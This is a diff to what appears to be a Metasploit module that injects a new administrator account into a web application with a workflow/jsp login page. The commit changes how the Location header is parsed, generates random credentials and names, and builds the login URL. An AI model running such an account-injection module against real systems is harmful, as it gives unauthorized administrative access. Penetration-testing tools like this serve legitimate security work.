@@ -37,7 +37,7 @@ def initialize(info = {})
37
37
register_options ( [
38
38
OptString . new ( 'TARGETURI' , [ true , 'Base path' , '/' ] ) ,
39
39
OptString . new ( 'NEW_USERNAME' , [ true , 'Username to be used when creating a new user with admin privileges' , Faker ::Internet . username ] ) ,
40
- OptString . new ( 'NEW_PASSWORD' , [ true , 'Password to be used when creating a new user with admin privileges' , Rex ::Text . rand_text_alpha ( 8 ) ] ) ,
40
+ OptString . new ( 'NEW_PASSWORD' , [ true , 'Password to be used when creating a new user with admin privileges' , Rex ::Text . rand_text_alphanumeric ( 16 ) ] ) ,
41
41
OptString . new ( 'NEW_EMAIL' , [ true , 'E-mail to be used when creating a new user with admin privileges' , Faker ::Internet . email ] )
42
42
] )
43
43
end
@@ -99,9 +99,8 @@ def run
99
99
fail_with ( Failure ::Unreachable , 'Failed to receive a reply from the server.' )
100
100
end
101
101
102
- raw_res = res . to_s
103
- if raw_res =~ /^Location:\s *(.+)$/
104
- location_value = ::Regexp . last_match ( 1 ) . strip
102
+ if res . headers [ 'Location' ]
103
+ location_value = res . headers [ 'Location' ]
105
104
print_status ( "Redirect #1: #{ location_value } " )
106
105
else
107
106
fail_with ( Failure ::UnexpectedReply , 'Location header not found.' )
@@ -119,9 +118,8 @@ def run
119
118
fail_with ( Failure ::Unreachable , 'Failed to receive a reply from the server.' )
120
119
end
121
120
122
- raw_res = res . to_s
123
- if raw_res =~ /^Location:\s *(.+)$/
124
- location_value = ::Regexp . last_match ( 1 ) . strip
121
+ if res . headers [ 'Location' ]
122
+ location_value = res . headers [ 'Location' ]
125
123
print_status ( "Redirect #2: #{ location_value } " )
126
124
else
127
125
fail_with ( Failure ::UnexpectedReply , 'Location header not found.' )
@@ -157,8 +155,8 @@ def run
157
155
username = datastore [ 'NEW_USERNAME' ]
158
156
password = Digest ::MD5 . hexdigest ( datastore [ 'NEW_PASSWORD' ] ) . upcase
159
157
email = datastore [ 'NEW_EMAIL' ]
160
- firstname = Rex :: Text . rand_text_alpha ( 1 .. 6 )
161
- lastname = Rex :: Text . rand_text_alpha ( 1 .. 6 )
158
+ firstname = Faker :: Name . first_name
159
+ lastname = Faker :: Name . last_name
162
160
areacode = rand ( 100 ..999 )
163
161
exchangecode = rand ( 100 ..999 )
164
162
subscribernumber = rand ( 1000 ..9999 )
@@ -266,7 +264,7 @@ def run
266
264
end
267
265
268
266
print_good ( "New admin user was successfully injected:\n \t #{ datastore [ 'NEW_USERNAME' ] } :#{ datastore [ 'NEW_PASSWORD' ] } " )
269
- print_good ( "Login at: http:// #{ datastore [ 'RHOSTS' ] } : #{ datastore [ 'RPORT' ] } #{ datastore [ 'TARGETURI' ] } workflow/jsp/logon.jsp" )
267
+ print_good ( "Login at: #{ full_uri ( normalize_uri ( target_uri , ' workflow/jsp/logon.jsp' ) ) } " )
270
268
end
271
269
272
270
end
0 commit comments